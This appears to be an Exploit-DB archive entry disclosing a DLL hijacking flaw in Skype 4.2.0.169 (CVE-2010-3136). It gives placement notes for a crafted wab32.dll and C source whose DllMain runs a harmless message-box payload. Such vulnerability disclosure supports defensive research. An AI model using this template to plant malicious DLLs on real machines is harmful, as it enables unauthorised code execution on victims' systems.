Skype 4.2.0.169 - 'wab32.dll' DLL Hijacking

Author: Glafkos Charalambous
type: local
platform: windows
port: 
date_added: 2010-08-25 
date_updated: 2010-08-25 
verified: 1 
codes: CVE-2010-3136;OSVDB-67540 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comSkypeSetupFull.exe

/*
Exploit Title: Skype <= 4.2.0.169 DLL Hijacking Exploit (wab32.dll)
Date: August 25, 2010
Author: Glafkos Charalambous (glafkos[@]astalavista[dot]com)
Version: Latest Skype v4.2.0.169
Tested on: Windows 7 x64 Ultimate
Vulnerable extensions: .skype
Greetz: Astalavista, OffSEC, Exploit-DB
Notes: Create folders %commonprogramfiles%\system and place wab32.dll
       %commonprogramfiles(x86)% on x64 bit
*/


#include <windows.h>
#define DllExport __declspec (dllexport)

BOOL WINAPI  DllMain (
            HANDLE    hinstDLL,
            DWORD     fdwReason,
            LPVOID    lpvReserved)
{
  dll_hijack();
  return 0;
}

int dll_hijack()
{
  MessageBox(0, "Skype DLL Hijacking!", "DLL Message", MB_OK);
  return 0;
}